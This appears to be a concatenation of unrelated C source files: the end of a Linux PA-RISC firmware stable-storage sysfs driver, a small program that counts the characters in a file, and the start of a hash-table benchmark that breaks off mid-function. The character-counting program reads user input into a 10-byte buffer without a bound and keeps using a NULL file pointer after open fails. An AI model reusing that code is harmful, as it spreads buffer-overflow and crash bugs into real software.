* @buf: The input buffer.
* @count: The size of the buffer.
*/
static ssize_t
pdcspath_attr_store(struct kobject *kobj, struct attribute *attr,
const char *buf, size_t count)
{
struct pdcspath_entry *entry = to_pdcspath_entry(kobj);
struct pdcspath_attribute *pdcs_attr = to_pdcspath_attribute(attr);
ssize_t ret = 0;
if (!capable(CAP_SYS_ADMIN))
return -EACCES;
if (pdcs_attr->store)
ret = pdcs_attr->store(entry, buf, count);
return ret;
}
static struct sysfs_ops pdcspath_attr_ops = {
.show = pdcspath_attr_show,
.store = pdcspath_attr_store,
};
/* These are the two attributes of any PDC path. */
static PATHS_ATTR(hwpath, 0644, pdcspath_hwpath_read, pdcspath_hwpath_write);
static PATHS_ATTR(layer, 0644, pdcspath_layer_read, pdcspath_layer_write);
static struct attribute *paths_subsys_attrs[] = {
&paths_attr_hwpath.attr,
&paths_attr_layer.attr,
NULL,
};
/* Specific kobject type for our PDC paths */
static struct kobj_type ktype_pdcspath = {
.sysfs_ops = &pdcspath_attr_ops,
.default_attrs = paths_subsys_attrs,
};
/* We hard define the 4 types of path we expect to find */
static PDCSPATH_ENTRY(PDCS_ADDR_PPRI, primary);
static PDCSPATH_ENTRY(PDCS_ADDR_PCON, console);
static PDCSPATH_ENTRY(PDCS_ADDR_PALT, alternative);
static PDCSPATH_ENTRY(PDCS_ADDR_PKBD, keyboard);
/* An array containing all PDC paths we will deal with */
static struct pdcspath_entry *pdcspath_entries[] = {
&pdcspath_entry_primary,
&pdcspath_entry_alternative,
&pdcspath_entry_console,
&pdcspath_entry_keyboard,
NULL,
};
/* For more insight of what's going on here, refer to PDC Procedures doc,
* Section PDC_STABLE */
/**
* pdcs_size_read - Stable Storage size output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*/
static ssize_t
pdcs_size_read(struct kset *kset, char *buf)
{
char *out = buf;
if (!kset || !buf)
return -EINVAL;
/* show the size of the stable storage */
out += sprintf(out, "%ld\n", pdcs_size);
return out - buf;
}
/**
* pdcs_auto_read - Stable Storage autoboot/search flag output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
* @knob: The PF_AUTOBOOT or PF_AUTOSEARCH flag
*/
static ssize_t
pdcs_auto_read(struct kset *kset, char *buf, int knob)
{
char *out = buf;
struct pdcspath_entry *pathentry;
if (!kset || !buf)
return -EINVAL;
/* Current flags are stored in primary boot path entry */
pathentry = &pdcspath_entry_primary;
read_lock(&pathentry->rw_lock);
out += sprintf(out, "%s\n", (pathentry->devpath.flags & knob) ?
"On" : "Off");
read_unlock(&pathentry->rw_lock);
return out - buf;
}
/**
* pdcs_autoboot_read - Stable Storage autoboot flag output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*/
static inline ssize_t
pdcs_autoboot_read(struct kset *kset, char *buf)
{
return pdcs_auto_read(kset, buf, PF_AUTOBOOT);
}
/**
* pdcs_autosearch_read - Stable Storage autoboot flag output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*/
static inline ssize_t
pdcs_autosearch_read(struct kset *kset, char *buf)
{
return pdcs_auto_read(kset, buf, PF_AUTOSEARCH);
}
/**
* pdcs_timer_read - Stable Storage timer count output (in seconds).
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*
* The value of the timer field correponds to a number of seconds in powers of 2.
*/
static ssize_t
pdcs_timer_read(struct kset *kset, char *buf)
{
char *out = buf;
struct pdcspath_entry *pathentry;
if (!kset || !buf)
return -EINVAL;
/* Current flags are stored in primary boot path entry */
pathentry = &pdcspath_entry_primary;
/* print the timer value in seconds */
read_lock(&pathentry->rw_lock);
out += sprintf(out, "%u\n", (pathentry->devpath.flags & PF_TIMER) ?
(1 << (pathentry->devpath.flags & PF_TIMER)) : 0);
read_unlock(&pathentry->rw_lock);
return out - buf;
}
/**
* pdcs_osid_read - Stable Storage OS ID register output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*/
static ssize_t
pdcs_osid_read(struct kset *kset, char *buf)
{
char *out = buf;
if (!kset || !buf)
return -EINVAL;
out += sprintf(out, "%s dependent data (0x%.4x)\n",
os_id_to_string(pdcs_osid), pdcs_osid);
return out - buf;
}
/**
* pdcs_osdep1_read - Stable Storage OS-Dependent data area 1 output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*
* This can hold 16 bytes of OS-Dependent data.
*/
static ssize_t
pdcs_osdep1_read(struct kset *kset, char *buf)
{
char *out = buf;
u32 result[4];
if (!kset || !buf)
return -EINVAL;
if (pdc_stable_read(PDCS_ADDR_OSD1, &result, sizeof(result)) != PDC_OK)
return -EIO;
out += sprintf(out, "0x%.8x\n", result[0]);
out += sprintf(out, "0x%.8x\n", result[1]);
out += sprintf(out, "0x%.8x\n", result[2]);
out += sprintf(out, "0x%.8x\n", result[3]);
return out - buf;
}
/**
* pdcs_diagnostic_read - Stable Storage Diagnostic register output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*
* I have NFC how to interpret the content of that register ;-).
*/
static ssize_t
pdcs_diagnostic_read(struct kset *kset, char *buf)
{
char *out = buf;
u32 result;
if (!kset || !buf)
return -EINVAL;
/* get diagnostic */
if (pdc_stable_read(PDCS_ADDR_DIAG, &result, sizeof(result)) != PDC_OK)
return -EIO;
out += sprintf(out, "0x%.4x\n", (result >> 16));
return out - buf;
}
/**
* pdcs_fastsize_read - Stable Storage FastSize register output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*
* This register holds the amount of system RAM to be tested during boot sequence.
*/
static ssize_t
pdcs_fastsize_read(struct kset *kset, char *buf)
{
char *out = buf;
u32 result;
if (!kset || !buf)
return -EINVAL;
/* get fast-size */
if (pdc_stable_read(PDCS_ADDR_FSIZ, &result, sizeof(result)) != PDC_OK)
return -EIO;
if ((result & 0x0F) < 0x0E)
out += sprintf(out, "%d kB", (1<<(result & 0x0F))*256);
else
out += sprintf(out, "All");
out += sprintf(out, "\n");
return out - buf;
}
/**
* pdcs_osdep2_read - Stable Storage OS-Dependent data area 2 output.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The output buffer to write to.
*
* This can hold pdcs_size - 224 bytes of OS-Dependent data, when available.
*/
static ssize_t
pdcs_osdep2_read(struct kset *kset, char *buf)
{
char *out = buf;
unsigned long size;
unsigned short i;
u32 result;
if (unlikely(pdcs_size <= 224))
return -ENODATA;
size = pdcs_size - 224;
if (!kset || !buf)
return -EINVAL;
for (i=0; i<size; i+=4) {
if (unlikely(pdc_stable_read(PDCS_ADDR_OSD2 + i, &result,
sizeof(result)) != PDC_OK))
return -EIO;
out += sprintf(out, "0x%.8x\n", result);
}
return out - buf;
}
/**
* pdcs_auto_write - This function handles autoboot/search flag modifying.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
* @knob: The PF_AUTOBOOT or PF_AUTOSEARCH flag
*
* We will call this function to change the current autoboot flag.
* We expect a precise syntax:
* \"n\" (n == 0 or 1) to toggle AutoBoot Off or On
*/
static ssize_t
pdcs_auto_write(struct kset *kset, const char *buf, size_t count, int knob)
{
struct pdcspath_entry *pathentry;
unsigned char flags;
char in[count+1], *temp;
char c;
if (!capable(CAP_SYS_ADMIN))
return -EACCES;
if (!kset || !buf || !count)
return -EINVAL;
/* We'll use a local copy of buf */
memset(in, 0, count+1);
strncpy(in, buf, count);
/* Current flags are stored in primary boot path entry */
pathentry = &pdcspath_entry_primary;
/* Be nice to the existing flag record */
read_lock(&pathentry->rw_lock);
flags = pathentry->devpath.flags;
read_unlock(&pathentry->rw_lock);
DPRINTK("%s: flags before: 0x%X\n", __func__, flags);
temp = in;
while (*temp && isspace(*temp))
temp++;
c = *temp++ - '0';
if ((c != 0) && (c != 1))
goto parse_error;
if (c == 0)
flags &= ~knob;
else
flags |= knob;
DPRINTK("%s: flags after: 0x%X\n", __func__, flags);
/* So far so good, let's get in deep */
write_lock(&pathentry->rw_lock);
/* Change the path entry flags first */
pathentry->devpath.flags = flags;
/* Now, dive in. Write back to the hardware */
pdcspath_store(pathentry);
write_unlock(&pathentry->rw_lock);
printk(KERN_INFO PDCS_PREFIX ": changed \"%s\" to \"%s\"\n",
(knob & PF_AUTOBOOT) ? "autoboot" : "autosearch",
(flags & knob) ? "On" : "Off");
return count;
parse_error:
printk(KERN_WARNING "%s: Parse error: expect \"n\" (n == 0 or 1)\n", __func__);
return -EINVAL;
}
/**
* pdcs_autoboot_write - This function handles autoboot flag modifying.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
*
* We will call this function to change the current boot flags.
* We expect a precise syntax:
* \"n\" (n == 0 or 1) to toggle AutoSearch Off or On
*/
static inline ssize_t
pdcs_autoboot_write(struct kset *kset, const char *buf, size_t count)
{
return pdcs_auto_write(kset, buf, count, PF_AUTOBOOT);
}
/**
* pdcs_autosearch_write - This function handles autosearch flag modifying.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
*
* We will call this function to change the current boot flags.
* We expect a precise syntax:
* \"n\" (n == 0 or 1) to toggle AutoSearch Off or On
*/
static inline ssize_t
pdcs_autosearch_write(struct kset *kset, const char *buf, size_t count)
{
return pdcs_auto_write(kset, buf, count, PF_AUTOSEARCH);
}
/**
* pdcs_osdep1_write - Stable Storage OS-Dependent data area 1 input.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
*
* This can store 16 bytes of OS-Dependent data. We use a byte-by-byte
* write approach. It's up to userspace to deal with it when constructing
* its input buffer.
*/
static ssize_t
pdcs_osdep1_write(struct kset *kset, const char *buf, size_t count)
{
u8 in[16];
if (!capable(CAP_SYS_ADMIN))
return -EACCES;
if (!kset || !buf || !count)
return -EINVAL;
if (unlikely(pdcs_osid != OS_ID_LINUX))
return -EPERM;
if (count > 16)
return -EMSGSIZE;
/* We'll use a local copy of buf */
memset(in, 0, 16);
memcpy(in, buf, count);
if (pdc_stable_write(PDCS_ADDR_OSD1, &in, sizeof(in)) != PDC_OK)
return -EIO;
return count;
}
/**
* pdcs_osdep2_write - Stable Storage OS-Dependent data area 2 input.
* @kset: An allocated and populated struct kset. We don't use it tho.
* @buf: The input buffer to read from.
* @count: The number of bytes to be read.
*
* This can store pdcs_size - 224 bytes of OS-Dependent data. We use a
* byte-by-byte write approach. It's up to userspace to deal with it when
* constructing its input buffer.
*/
static ssize_t
pdcs_osdep2_write(struct kset *kset, const char *buf, size_t count)
{
unsigned long size;
unsigned short i;
u8 in[4];
if (!capable(CAP_SYS_ADMIN))
return -EACCES;
if (!kset || !buf || !count)
return -EINVAL;
if (unlikely(pdcs_size <= 224))
return -ENOSYS;
if (unlikely(pdcs_osid != OS_ID_LINUX))
return -EPERM;
size = pdcs_size - 224;
if (count > size)
return -EMSGSIZE;
/* We'll use a local copy of buf */
for (i=0; i<count; i+=4) {
memset(in, 0, 4);
memcpy(in, buf+i, (count-i < 4) ? count-i : 4);
if (unlikely(pdc_stable_write(PDCS_ADDR_OSD2 + i, &in,
sizeof(in)) != PDC_OK))
return -EIO;
}
return count;
}
/* The remaining attributes. */
static PDCS_ATTR(size, 0444, pdcs_size_read, NULL);
static PDCS_ATTR(autoboot, 0644, pdcs_autoboot_read, pdcs_autoboot_write);
static PDCS_ATTR(autosearch, 0644, pdcs_autosearch_read, pdcs_autosearch_write);
static PDCS_ATTR(timer, 0444, pdcs_timer_read, NULL);
static PDCS_ATTR(osid, 0444, pdcs_osid_read, NULL);
static PDCS_ATTR(osdep1, 0600, pdcs_osdep1_read, pdcs_osdep1_write);
static PDCS_ATTR(diagnostic, 0400, pdcs_diagnostic_read, NULL);
static PDCS_ATTR(fastsize, 0400, pdcs_fastsize_read, NULL);
static PDCS_ATTR(osdep2, 0600, pdcs_osdep2_read, pdcs_osdep2_write);
static struct subsys_attribute *pdcs_subsys_attrs[] = {
&pdcs_attr_size,
&pdcs_attr_autoboot,
&pdcs_attr_autosearch,
&pdcs_attr_timer,
&pdcs_attr_osid,
&pdcs_attr_osdep1,
&pdcs_attr_diagnostic,
&pdcs_attr_fastsize,
&pdcs_attr_osdep2,
NULL,
};
static decl_subsys(paths, &ktype_pdcspath, NULL);
static decl_subsys(stable, NULL, NULL);
/**
* pdcs_register_pathentries - Prepares path entries kobjects for sysfs usage.
*
* It creates kobjects corresponding to each path entry with nice sysfs
* links to the real device. This is where the magic takes place: when
* registering the subsystem attributes during module init, each kobject hereby
* created will show in the sysfs tree as a folder containing files as defined
* by path_subsys_attr[].
*/
static inline int __init
pdcs_register_pathentries(void)
{
unsigned short i;
struct pdcspath_entry *entry;
int err;
/* Initialize the entries rw_lock before anything else */
for (i = 0; (entry = pdcspath_entries[i]); i++)
rwlock_init(&entry->rw_lock);
for (i = 0; (entry = pdcspath_entries[i]); i++) {
write_lock(&entry->rw_lock);
err = pdcspath_fetch(entry);
write_unlock(&entry->rw_lock);
if (err < 0)
continue;
if ((err = kobject_set_name(&entry->kobj, "%s", entry->name)))
return err;
kobj_set_kset_s(entry, paths_subsys);
if ((err = kobject_register(&entry->kobj)))
return err;
/* kobject is now registered */
write_lock(&entry->rw_lock);
entry->ready = 2;
/* Add a nice symlink to the real device */
if (entry->dev) {
err = sysfs_create_link(&entry->kobj, &entry->dev->kobj, "device");
WARN_ON(err);
}
write_unlock(&entry->rw_lock);
}
return 0;
}
/**
* pdcs_unregister_pathentries - Routine called when unregistering the module.
*/
static inline void
pdcs_unregister_pathentries(void)
{
unsigned short i;
struct pdcspath_entry *entry;
for (i = 0; (entry = pdcspath_entries[i]); i++) {
read_lock(&entry->rw_lock);
if (entry->ready >= 2)
kobject_unregister(&entry->kobj);
read_unlock(&entry->rw_lock);
}
}
/*
* For now we register the stable subsystem with the firmware subsystem
* and the paths subsystem with the stable subsystem
*/
static int __init
pdc_stable_init(void)
{
struct subsys_attribute *attr;
int i, rc = 0, error = 0;
u32 result;
/* find the size of the stable storage */
if (pdc_stable_get_size(&pdcs_size) != PDC_OK)
return -ENODEV;
/* make sure we have enough data */
if (pdcs_size < 96)
return -ENODATA;
printk(KERN_INFO PDCS_PREFIX " facility v%s\n", PDCS_VERSION);
/* get OSID */
if (pdc_stable_read(PDCS_ADDR_OSID, &result, sizeof(result)) != PDC_OK)
return -EIO;
/* the actual result is 16 bits away */
pdcs_osid = (u16)(result >> 16);
/* For now we'll register the stable subsys within this driver */
if ((rc = firmware_register(&stable_subsys)))
goto fail_firmreg;
/* Don't forget the root entries */
for (i = 0; (attr = pdcs_subsys_attrs[i]) && !error; i++)
if (attr->show)
error = subsys_create_file(&stable_subsys, attr);
/* register the paths subsys as a subsystem of stable subsys */
kobj_set_kset_s(&paths_subsys, stable_subsys);
if ((rc = subsystem_register(&paths_subsys)))
goto fail_subsysreg;
/* now we create all "files" for the paths subsys */
if ((rc = pdcs_register_pathentries()))
goto fail_pdcsreg;
return rc;
fail_pdcsreg:
pdcs_unregister_pathentries();
subsystem_unregister(&paths_subsys);
fail_subsysreg:
firmware_unregister(&stable_subsys);
fail_firmreg:
printk(KERN_INFO PDCS_PREFIX " bailing out\n");
return rc;
}
static void __exit
pdc_stable_exit(void)
{
pdcs_unregister_pathentries();
subsystem_unregister(&paths_subsys);
firmware_unregister(&stable_subsys);
}
module_init(pdc_stable_init);
module_exit(pdc_stable_exit);
|
135513.c |
#include<stdlib.h>
#include<conio.h>
#include <stdio.h>
#define MAX_FILE_NAME 100
void options(void);
void countchar(void)
{ //initializing the variables
system("cls");
FILE* p;
int count = 0;
char filename[10];
char c;
//printing instructions to the user
printf("\t\t||~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
printf("\t\t||MONDAY->monday.txt\n");
printf("\t\t||TUESDAY->tuesday.txt\n");
printf("\t\t||WEDNESDAY->wednesday.txt\n");
printf("\t\t||THURSDAY->thursday.txt\n");
printf("\t\t||FRIDAY->friday.txt\n");
printf("\t\t||SATURDAY->saturday.txt\n");
printf("\t\t||SUNDAY->sunday.txt\n");
printf("\t\t||DIET->diet.txt\n");
printf("\t\t||~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
//getting input from the user
printf("Enter file name: ");
scanf("%s", filename);
p = fopen(filename, "r");
if (p == NULL) { //checking if the file exists
printf("Could not open file %s",
filename);
}
//reading the file to get number of characters of file
for (c = getc(p); c != EOF; c = getc(p))
count = count + 1;
fclose(p);
printf("\nThe file %s has %d characters\n ",
filename, count);
printf("GO BACK TO MAIN MENU:press any key to continue\n");
getch();
options();
}
|
413980.c | /* SPDX-License-Identifier: BSD-3-Clause
* Copyright (c) 2010-2015 Intel Corporation
*/
#include <stdio.h> // for NULL, fflush, snprintf, stdout, EOF
#include <inttypes.h> // for PRIu64
#include <cne_cycles.h> // for cne_rdtsc
#include <cne_hash.h> // for hash_sig_t, cne_hash_parameters, cne_hash_...
#include <cne_jhash.h> // for cne_jhash
#include <cne_fbk_hash.h> // for cne_fbk_hash_add_key, cne_fbk_hash_create
#include <tst_info.h> // for tst_end, tst_start, TST_FAILED, TST_PASSED
#include <getopt.h> // for getopt_long, option
#include <stdint.h> // for int32_t, uint64_t, uint8_t, uint32_t, uint...
#include <stdlib.h> // for rand, free, calloc
#include <string.h> // for memcpy, memset, strndup
#include "hash_test.h" // for hash_perf_main
#include "cne_stdio.h" // for cne_printf
#include "cne_system.h" // for cne_lcore_id, cne_socket_id
struct cne_hash;
#define MAX_ENTRIES (1 << 19)
#define KEYS_TO_ADD (MAX_ENTRIES)
#define ADD_PERCENT 0.75 /* 75% table utilization */
#define NUM_LOOKUPS (KEYS_TO_ADD * 5) /* Loop among keys added, several times */
/* BUCKET_SIZE should be same as CNE_HASH_BUCKET_ENTRIES in cne_hash library */
#define BUCKET_SIZE 8
#define NUM_BUCKETS (MAX_ENTRIES / BUCKET_SIZE)
#define MAX_KEYSIZE 64
#define NUM_KEYSIZES 10
#define NUM_SHUFFLES 10
#define BURST_SIZE 16
enum operations { ADD = 0, LOOKUP, LOOKUP_MULTI, DELETE, NUM_OPERATIONS };
static uint32_t hashtest_key_lens[] = {
/* standard key sizes */
4, 8, 16, 32, 48, 64,
/* IPv4 SRC + DST + protocol, unpadded */
9,
/* IPv4 5-tuple, unpadded */
13,
/* IPv6 5-tuple, unpadded */
37,
/* IPv6 5-tuple, padded to 8-byte boundary */
40};
struct cne_hash *htables[NUM_KEYSIZES];
/* Array that stores if a slot is full */
static uint8_t slot_taken[MAX_ENTRIES];
/* Array to store number of cycles per operation */
static uint64_t cycles[NUM_KEYSIZES][NUM_OPERATIONS][2][2];
/* Array to store all input keys */
static uint8_t keys[KEYS_TO_ADD][MAX_KEYSIZE];
/* Array to store the precomputed hash for 'keys' */
static hash_sig_t signatures[KEYS_TO_ADD];
/* Array to store how many busy entries have each bucket */
static uint8_t buckets[NUM_BUCKETS];
/* Array to store the positions where keys are added */
static int32_t positions[KEYS_TO_ADD];
/* Parameters used for hash table in unit test functions. */
static struct cne_hash_parameters ut_params = {
.entries = MAX_ENTRIES,
.hash_func = cne_jhash,
.hash_func_init_val = 0,
};
static void
free_table(unsigned table_index)
{
if (htables[table_index])
cne_hash_free(htables[table_index]);
htables[table_index] = NULL;
}
static void
reset_table(unsigned table_index)
{
cne_hash_reset(htables[table_index]);
}
static int
create_table(unsigned int with_data, unsigned int table_index, unsigned int ext)
{
char name[CNE_HASH_NAMESIZE + 1] = {0};
if (with_data)
/* Table will store 8-byte data */
snprintf(name, sizeof(name), "test_hash%u_data", hashtest_key_lens[table_index]);
else
snprintf(name, sizeof(name), "test_hash%u", hashtest_key_lens[table_index]);
ut_params.extra_flag = 0;
if (ext)
ut_params.extra_flag |= CNE_HASH_EXTRA_FLAGS_EXT_TABLE;
ut_params.name = strndup(name, CNE_HASH_NAMESIZE);
ut_params.key_len = hashtest_key_lens[table_index];
ut_params.socket_id = cne_socket_id(cne_lcore_id());
/*
* If table was already created, free it to create it again,
* so we force it is empty
*/
free_table(table_index);
htables[table_index] = cne_hash_create(&ut_params);
if (htables[table_index] == NULL) {
cne_printf("Error creating table\n");
free((void *)(uintptr_t)ut_params.name);
return -1;
}
free((void *)(uintptr_t)ut_params.name);
return 0;
}
/* Shuffle the keys that have been added, so lookups will be totally random */
static void
shuffle_input_keys(unsigned int table_index, unsigned int ext)
{
unsigned i;
uint32_t swap_idx;
uint8_t temp_key[MAX_KEYSIZE];
hash_sig_t temp_signature;
int32_t temp_position;
unsigned int keys_to_add;
if (!ext)
keys_to_add = KEYS_TO_ADD * ADD_PERCENT;
else
keys_to_add = KEYS_TO_ADD;
for (i = keys_to_add - 1; i > 0; i--) {
swap_idx = rand() % i;
memcpy(temp_key, keys[i], hashtest_key_lens[table_index]);
temp_signature = signatures[i];
temp_position = positions[i];
memcpy(keys[i], keys[swap_idx], hashtest_key_lens[table_index]);
signatures[i] = signatures[swap_idx];
positions[i] = positions[swap_idx];
memcpy(keys[swap_idx], temp_key, hashtest_key_lens[table_index]);
signatures[swap_idx] = temp_signature;
positions[swap_idx] = temp_position;
}
}
/*
* Looks for random keys which
* ALL can fit in hash table (no errors)
*/
static int
get_input_keys(unsigned int with_pushes, unsigned int table_index, unsigned int ext)
{
unsigned i, j;
unsigned bucket_idx, incr, success = 1;
uint8_t k = 0;
int32_t ret;
const uint32_t bucket_bitmask = NUM_BUCKETS - 1;
unsigned int keys_to_add;
if (!ext)
keys_to_add = KEYS_TO_ADD * ADD_PERCENT;
else
keys_to_add = KEYS_TO_ADD;
/* Reset all arrays */
for (i = 0; i < MAX_ENTRIES; i++)
slot_taken[i] = 0;
for (i = 0; i < NUM_BUCKETS; i++)
buckets[i] = 0;
for (j = 0; j < hashtest_key_lens[table_index]; j++)
keys[0][j] = 0;
/*
* Add only entries that are not duplicated and that fits in the table
* (cannot store more than BUCKET_SIZE entries in a bucket).
* Regardless a key has been added correctly or not (success),
* the next one to try will be increased by 1.
*/
for (i = 0; i < keys_to_add;) {
incr = 0;
if (i != 0) {
keys[i][0] = ++k;
/* Overflow, need to increment the next byte */
if (keys[i][0] == 0)
incr = 1;
for (j = 1; j < hashtest_key_lens[table_index]; j++) {
/* Do not increase next byte */
if (incr == 0) {
if (success == 1)
keys[i][j] = keys[i - 1][j];
/* Increase next byte by one */
} else {
if (success == 1)
keys[i][j] = keys[i - 1][j] + 1;
else
keys[i][j] = keys[i][j] + 1;
if (keys[i][j] == 0)
incr = 1;
else
incr = 0;
}
}
}
success = 0;
signatures[i] = cne_hash_hash(htables[table_index], keys[i]);
bucket_idx = signatures[i] & bucket_bitmask;
/*
* If we are not inserting keys in secondary location,
* when bucket is full, do not try to insert the key
*/
if (with_pushes == 0)
if (buckets[bucket_idx] == BUCKET_SIZE)
continue;
/* If key can be added, leave in successful key arrays "keys" */
ret = cne_hash_add_key_with_hash(htables[table_index], keys[i], signatures[i]);
if (ret >= 0) {
/* If key is already added, ignore the entry and do not store */
if (slot_taken[ret])
continue;
else {
/* Store the returned position and mark slot as taken */
slot_taken[ret] = 1;
positions[i] = ret;
buckets[bucket_idx]++;
success = 1;
i++;
}
}
}
/* Reset the table, so we can measure the time to add all the entries */
free_table(table_index);
htables[table_index] = cne_hash_create(&ut_params);
return 0;
}
static int
timed_adds(unsigned int with_hash, unsigned int with_data, unsigned int table_index,
unsigned int ext)
{
unsigned i;
const uint64_t start_tsc = cne_rdtsc();
void *data;
int32_t ret;
unsigned int keys_to_add;
if (!ext)
keys_to_add = KEYS_TO_ADD * ADD_PERCENT;
else
keys_to_add = KEYS_TO_ADD;
for (i = 0; i < keys_to_add; i++) {
data = (void *)((uintptr_t)signatures[i]);
if (with_hash && with_data) {
ret = cne_hash_add_key_with_hash_data(htables[table_index], (const void *)keys[i],
signatures[i], data);
if (ret < 0) {
cne_printf("H+D: Failed to add key number %u\n", i);
return -1;
}
} else if (with_hash && !with_data) {
ret = cne_hash_add_key_with_hash(htables[table_index], (const void *)keys[i],
signatures[i]);
if (ret >= 0)
positions[i] = ret;
else {
cne_printf("H: Failed to add key number %u\n", i);
return -1;
}
} else if (!with_hash && with_data) {
ret = cne_hash_add_key_data(htables[table_index], (const void *)keys[i], data);
if (ret < 0) {
cne_printf("D: Failed to add key number %u\n", i);
return -1;
}
} else {
ret = cne_hash_add_key(htables[table_index], keys[i]);
if (ret >= 0)
positions[i] = ret;
else {
cne_printf("Failed to add key number %u\n", i);
return -1;
}
}
}
const uint64_t end_tsc = cne_rdtsc();
const uint64_t time_taken = end_tsc - start_tsc;
cycles[table_index][ADD][with_hash][with_data] = time_taken / keys_to_add;
return 0;
}
static int
timed_lookups(unsigned int with_hash, unsigned int with_data, unsigned int table_index,
unsigned int ext)
{
unsigned i, j;
const uint64_t start_tsc = cne_rdtsc();
void *ret_data;
void *expected_data;
int32_t ret;
unsigned int keys_to_add, num_lookups;
if (!ext) {
keys_to_add = KEYS_TO_ADD * ADD_PERCENT;
num_lookups = NUM_LOOKUPS * ADD_PERCENT;
} else {
keys_to_add = KEYS_TO_ADD;
num_lookups = NUM_LOOKUPS;
}
for (i = 0; i < num_lookups / keys_to_add; i++) {
for (j = 0; j < keys_to_add; j++) {
if (with_hash && with_data) {
ret = cne_hash_lookup_with_hash_data(htables[table_index], (const void *)keys[j],
signatures[j], &ret_data);
if (ret < 0) {
cne_printf("Key number %u was not found\n", j);
return -1;
}
expected_data = (void *)((uintptr_t)signatures[j]);
if (ret_data != expected_data) {
cne_printf("Data returned for key number %u is %p,"
" but should be %p\n",
j, ret_data, expected_data);
return -1;
}
} else if (with_hash && !with_data) {
ret = cne_hash_lookup_with_hash(htables[table_index], (const void *)keys[j],
signatures[j]);
if (ret < 0 || ret != positions[j]) {
cne_printf("Key looked up in %d, should be in %d\n", ret, positions[j]);
return -1;
}
} else if (!with_hash && with_data) {
ret = cne_hash_lookup_data(htables[table_index], (const void *)keys[j], &ret_data);
if (ret < 0) {
cne_printf("Key number %u was not found\n", j);
return -1;
}
expected_data = (void *)((uintptr_t)signatures[j]);
if (ret_data != expected_data) {
cne_printf("Data returned for key number %u is %p,"
" but should be %p\n",
j, ret_data, expected_data);
return -1;
}
} else {
ret = cne_hash_lookup(htables[table_index], keys[j]);
if (ret < 0 || ret != positions[j]) {
cne_printf("Key looked up in %d, should be in %d\n", ret, positions[j]);
return -1;
}
}
}
}
const uint64_t end_tsc = cne_rdtsc();
const uint64_t time_taken = end_tsc - start_tsc;
cycles[table_index][LOOKUP][with_hash][with_data] = time_taken / num_lookups;
return 0;
}
static int
timed_lookups_multi(unsigned int with_hash, unsigned int with_data, unsigned int table_index,
unsigned int ext)
{
unsigned i, j, k;
int32_t positions_burst[BURST_SIZE];
const void *keys_burst[BURST_SIZE];
void *expected_data[BURST_SIZE];
void *ret_data[BURST_SIZE];
uint64_t hit_mask;
int ret;
unsigned int keys_to_add, num_lookups;
if (!ext) {
keys_to_add = KEYS_TO_ADD * ADD_PERCENT;
num_lookups = NUM_LOOKUPS * ADD_PERCENT;
} else {
keys_to_add = KEYS_TO_ADD;
num_lookups = NUM_LOOKUPS;
}
const uint64_t start_tsc = cne_rdtsc();
for (i = 0; i < num_lookups / keys_to_add; i++) {
for (j = 0; j < keys_to_add / BURST_SIZE; j++) {
for (k = 0; k < BURST_SIZE; k++)
keys_burst[k] = keys[j * BURST_SIZE + k];
if (!with_hash && with_data) {
ret = cne_hash_lookup_bulk_data(htables[table_index], (const void **)keys_burst,
BURST_SIZE, &hit_mask, ret_data);
if (ret != BURST_SIZE) {
cne_printf("Expect to find %u keys,"
" but found %d\n",
BURST_SIZE, ret);
return -1;
}
for (k = 0; k < BURST_SIZE; k++) {
if ((hit_mask & (1ULL << k)) == 0) {
cne_printf("Key number %u not found\n", j * BURST_SIZE + k);
return -1;
}
expected_data[k] = (void *)((uintptr_t)signatures[j * BURST_SIZE + k]);
if (ret_data[k] != expected_data[k]) {
cne_printf("Data returned for key number %u is %p,"
" but should be %p\n",
j * BURST_SIZE + k, ret_data[k], expected_data[k]);
return -1;
}
}
} else if (with_hash && with_data) {
ret = cne_hash_lookup_with_hash_bulk_data(
htables[table_index], (const void **)keys_burst, &signatures[j * BURST_SIZE],
BURST_SIZE, &hit_mask, ret_data);
if (ret != BURST_SIZE) {
cne_printf("Expect to find %u keys,"
" but found %d\n",
BURST_SIZE, ret);
return -1;
}
for (k = 0; k < BURST_SIZE; k++) {
if ((hit_mask & (1ULL << k)) == 0) {
cne_printf("Key number %u"
" not found\n",
j * BURST_SIZE + k);
return -1;
}
expected_data[k] = (void *)((uintptr_t)signatures[j * BURST_SIZE + k]);
if (ret_data[k] != expected_data[k]) {
cne_printf("Data returned for key"
" number %u is %p,"
" but should be %p\n",
j * BURST_SIZE + k, ret_data[k], expected_data[k]);
return -1;
}
}
} else if (with_hash && !with_data) {
ret = cne_hash_lookup_with_hash_bulk(
htables[table_index], (const void **)keys_burst, &signatures[j * BURST_SIZE],
BURST_SIZE, positions_burst);
for (k = 0; k < BURST_SIZE; k++) {
if (positions_burst[k] != positions[j * BURST_SIZE + k]) {
cne_printf("Key looked up in %d, should be in %d\n", positions_burst[k],
positions[j * BURST_SIZE + k]);
return -1;
}
}
} else {
cne_hash_lookup_bulk(htables[table_index], (const void **)keys_burst, BURST_SIZE,
positions_burst);
for (k = 0; k < BURST_SIZE; k++) {
